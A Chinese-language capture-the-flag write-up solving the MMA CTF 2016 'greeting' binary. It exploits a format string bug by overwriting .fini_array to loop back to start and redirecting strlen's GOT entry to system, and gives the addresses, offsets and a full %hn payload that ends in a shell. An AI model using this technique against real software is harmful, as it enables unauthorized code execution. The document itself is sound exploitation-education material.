MMA CTF 2nd 2016-greeting

1.常规checksec,开了canary和NX。IDA打开找漏洞,main函数中格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
#注释头


char v5; // [esp+5Ch] [ebp-44h]
char s; // [esp+1Ch] [ebp-84h]
-----------------------------------------------------
if ( !getnline(&v5, 64) )
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);

2.再找system,有导入,没有binsh,没有Libc。用格式化字符串修改某个函数的got表指向system函数,然后再次运行程序得以输入binsh传给该函数,相当于调用system函数,之后就可以getshell。但是发现该程序中没有循环,修改之后没办法再次输入。

3.这里需要用到c语言的结构执行:

img

c语言编译后,执行顺序如图所示,总的来说就是在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。

4.利用Main函数结束时会调用fini段的函数组这一个特点,我们尝试找到fini函数组的地址,利用格式化字符串漏洞来修改该地址,修改.fini_array数组的第一个元素为start,使得Main函数退出时运行该地址可以重复回到start来再次执行一次输入。

5.fini_array段的地址直接ctrl+s就可以找到,内容是__do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux,保存的内容是一个地址,该地址对应是一个代码段,该代码段的函数名为__do_global_dtors_aux proc near。其它函数对应的got,plt可以通过elf.pot\elf.plt对应的来搜索。

6.但是这里存在一个问题,要将什么地址劫持为system函数?这个地址必须是在getline最后或者是之后,而且还需要有参数来执行binsh。第一个想到的是sprintf,因为该函数在getline函数之后,并且从右往左数第一个参数就是我们保存的内容,但是尝试过后发现崩溃了,修改是能修改,但是传参的时候有点问题。后面查看该函数汇编代码:

img

可以看到查看该函数从栈上取的第一个参数应该是s这个数组,而不是我们穿的v5,而如果劫持为system函数,那么就要求栈上的esp指向的内容的地址是binsh字符串,但是这里确实指向s这个数组中的内容,为空,那么system函数就没办法调用成功了。后面又看printf函数,还是不行,因为这里printf函数的参数也是s这个数组,内容此时为空,无法顺利调用。之后再找,经过getnline函数内部可以发现有个strlen函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

#代码中的形式:
if ( !getnline(&v5, 64) )
----------------------------------------------------------------
getnline(char *s, int n)
return strlen(s);

#该函数原型:
unsigned int strlen(const char *str);
-------------------------------------------------------
#system函数原型:
int system(const char *command);

system函数调用规则是需要一个地址,地址上保存的内容是binsh字符串,或者直接”binsh”字符串赋予,C语言中就代表在全局变量中开辟一块内存,然后该内存保存的是binsh字符串,然后将该内存的地址赋予给system函数当作参数运行。总之就是system函数需要的参数是一个地址。

这里的strlen满足这个条件,虽然上面写的只是s,但是s中保存的内容是一个地址,输入AAAA,通过调试查看内容:

img

img

同样的,查看下汇编代码:

img

可以看到[esp+s]相当于是取s的栈地址赋值给eax,然后eax赋值给esp栈顶,这两行破代码有病,一毛一样。所以现在跳转进strlen中的话,esp的值也就是参数,是一个栈上地址,内容就是AAAA。也就相当于在strlen中的s的值是一个地址,那么劫持后,就相当于system(s),同样可以getshell。

▲劫持为system函数,要求原函数的参数也应该是一个地址才行,不然无法跳转。

7.确定攻击思路后,开始计算偏移,先用IDA简单远程调试,输入AAAA,然后将程序一直运行至printf处,可以看到栈中的偏移为12.5处会出现A的ascii值,也就是41。由于我们需要栈中完整的对应地址,所以需要输入aa填充两个字节,来使得偏移量从12.5到13处,从而能够完整地输入我们需要修改的地址。

8.之后编写payload,这里使用控制字符%hn(一次改动两个字节)来修改:

payload = ‘aa’+p32(fini_array_addr+2) + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + str(格式化fini+2) + str(格式化fini) + str(格式化strlen_got+2) + str(格式化strlen_got)

9.之后还得确定输出的值:

1
2
3
4
5
6
#注释头

fini_array = 0x08049934
start_addr = 0x080484f0
strlen_got = 0x08049a54
system_plt = 0x08048490

查看代码,由于sprintf的作用,printf的参数s保存的不止有我们输入的,还有Nice to meet you,计算加上aa可得总共有8f-7c+1=0x14个,再加上三个32位的地址12字节,总共32字节,也就是0x20。(计算截至为 str(格式化fini+2)处)

10.另外由于.fini_array的内容为0x080485a0(按d可查看数据),而我们需要更改的start地址为0x080484f0,所以只需要改动大端序列中的85a0变成84f0即可。所以格式化.fini中需要再输出的字节数应该是0x84f0-0x20=0x84D0=34000。而0x08049934+2处的内容本身就是0804,不需要修改。所以只需要修改.fini_array_addr对应的内容即可,(.fini_array+2对应的内容本身就是0804,不用修改)。所以payload可以删去p32(fini_array_addr+2)和str(格式化fini+2)。

11.接着计算,需要将strlen_got+2处的值改成0804,由于之前已经输出了0x84f0所以需要用到数据截断。也就是格式化内容中需要再输出的字节数为0x10804-0x84f0=0x8314=33556。

然后再计算strlen_got的值,需要再输出0x18490-0x10804=0x7c8c=31884。

故都计算完毕,最后payload为:

payload = ‘aa’ + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + ’%34000c%12$hn’ + ‘%33556c%13$hn’ + ‘%31884c%14$hn’

12.payload之后,运行完第一次的printf之后,程序会回到start,之后需要再输入字符串io.sendline(‘/bin/sh\x00’)来完整运行system,从而getshell。